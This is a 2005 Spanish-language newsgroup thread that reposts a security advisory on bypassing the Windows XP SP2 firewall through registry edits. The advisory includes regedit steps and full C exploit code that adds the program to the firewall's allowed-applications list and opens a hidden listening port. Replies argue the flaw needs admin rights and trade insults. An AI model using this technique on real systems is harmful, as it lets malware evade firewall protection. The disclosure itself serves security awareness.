Windows XP Firewall Bypassing (Registry Based)

13/09/2005 - 19:54 por Ivan | Informe spam
Windows XP Firewall Bypassing (Registry Based) 12 Sep. 2005
http://www.securiteam.com/windowsnt...0UGUO.html


Summary
Microsoft Windows XP SP2 comes bundled with a Firewall. Direct access
to Firewall's registry keys allow local attackers to bypass the
Firewall blocking list and allow malicious program to connect the
network.

Credit:
The information has been provided by Mark Kica.
The original article can be found at:
http://taekwondo-itf.szm.sk/bugg.zip

Details
Vulnerable Systems:
* Microsoft Windows XP SP2

Windows XP SP2 Firewall has list of allowed program in registry which
are not properly protected from modification by a malicious local
attacker.

If an attacker adds a new key to the registry address of
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
SharedAccess\Parameters\FirewallPolicy\StandardProfile\
AuthorizedApplications\List, the attacker can enable his malware or
Trojan to connect to the Internet without the Firewall triggering a
warning.

Proof of Concept:
Launch the regedit.exe program and access the keys found under the
following path:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
SharedAccess\Parameters\FirewallPolicy\StandardProfile\
AuthorizedApplications\List

Add an entry key such as this one:
Name: C:\chat.exe
Value: C:\chat.exe:*:Enabled:chat

Exploit:
#include <stdio.h>
#include <windows.h>
#include <ezsocket.h>
#include <conio.h>
#include "Shlwapi.h"

int main( int argc, char *argv [] )
{
char buffer[1024];
char filename[1024];

HKEY hKey;
int i;

GetModuleFileName(NULL, filename, 1024);

strcpy(buffer, filename);
strcat(buffer, ":*:Enabled:");
strcat(buffer, "bugg");

RegOpenKeyEx(

HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services"
"\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile"
"\\AuthorizedApplications\\List",
0,
KEY_ALL_ACCESS,
&hKey);

RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));

int temp, sockfd, new_fd, fd_size;
struct sockaddr_in remote_addr;

fprintf(stdout, "Simple server example with Anti SP2 firewall
trick ");
fprintf(stdout, " This is not trojan ");
fprintf(stdout, " Opened port is :2001 ");
fprintf(stdout, "author:Mark Kica student of Technical University
Kosice");
fprintf(stdout, "Dedicated to Katka H. from Levoca ");

sleep(3);

if ((sockfd = ezsocket(NULL, NULL, 2001, SERVER)) == -1)
return 0;


for (; ; )
{
RegDeleteValue(hKey, filename);
fd_size = sizeof(struct sockaddr_in);

if ((new_fd = accept(sockfd, (struct sockaddr *)&remote_addr,
&fd_size)) == -1)
{
perror("accept");
continue;
}
temp = send(new_fd, "Hello World", strlen("Hello
World"), 0);
fprintf(stdout, "Sended: Hello World");
temp = recv(new_fd, buffer, 1024, 0);
buffer[temp] = '\0';
fprintf(stdout, "Recieved: %s", buffer);
ezclose_socket(new_fd);
RegSetValueEx(hKey, filename, 0, REG_SZ, buffer,
strlen(buffer));

if (!strcmp(buffer, "quit"))
break;
}

ezsocket_exit();
return 0;
}

/* EoF */




Security News - Security Reviews - Exploits - Tools - UNIX Focus -
Windows Focus

Copyright © 1998-2005 Beyond Security Ltd. All rights reserved.
Terms of Use Site Privacy Statement.

Saludos cordiales. Ivan

Preguntas similare

Leer las respuestas

#1 Ivan
13/09/2005 - 20:01 | Informe spam
Vaya, vaya, falsificado al fin!! Ya paso ala galeria de los famosos.
Aniway: F** OFF!!!

Sin saludo. Ivan
#2 JM Tella Llop [MVP Windows]
13/09/2005 - 20:07 | Informe spam
No es el Grajo. Si estas muy interesado. ponme un mail. pero no
merece la pena :-)

Jose Manuel Tella Llop
MVP - Windows
(quitar XXX)
http://www.multingles.net/jmt.htm

Este mensaje se proporciona "como está" sin garantías de ninguna clase,
y no otorga ningún derecho.

This posting is provided "AS IS" with no warranties, and confers no
rights.
You assume all risk for your use.



"Ivan" wrote in message
news:%
Vaya, vaya, falsificado al fin!! Ya paso ala galeria de los famosos.
Aniway: F** OFF!!!

Sin saludo. Ivan
#3 Diego Calleja
13/09/2005 - 20:11 | Informe spam
Ivan wrote:

Mostrar la cita
...teniendo permisos de administrador...


Pequeña lista de "fallos de seguridad" que se pueden encontrar teniendo
permisos de administrador:

o Formatear el disco (o escribir cualquier cosa en el)
o Inutilizar unidades de cd mandándolas un comando que existe para
borrar el firware
o Puedes leer y borrar cualquier archivo (!!!)
o Puedes espiar a todos los usuarios del ordenador, incluido todo el
trafico de red
o Puedes insertar rootkits y tener control absoluto del sistema
o Puedes matar procesos de otros usuarios (!!!!!)
o Desactivar el firewall
o Desactivar cualquier servicio de windows, de hecho

Se admiten mas sugerencias
#4 Ivan
13/09/2005 - 20:17 | Informe spam
"JM Tella Llop [MVP Windows]" escribió en el mensaje news:
Mostrar la cita
Ya me olvidaba del famoso tecnico. No tiene la menor importancia, no como para dedicarle mas que un par de insultos. Gracias JMT.


Saludos cordiales. Ivan
#5 Ivan
13/09/2005 - 20:19 | Informe spam
"Diego Calleja" escribió en el mensaje news:
Mostrar la cita
XD XD XD XD
Que no es mas inutil por falta de practica.
Un abrazo. Ivan
Ads by Google
Search Busqueda sugerida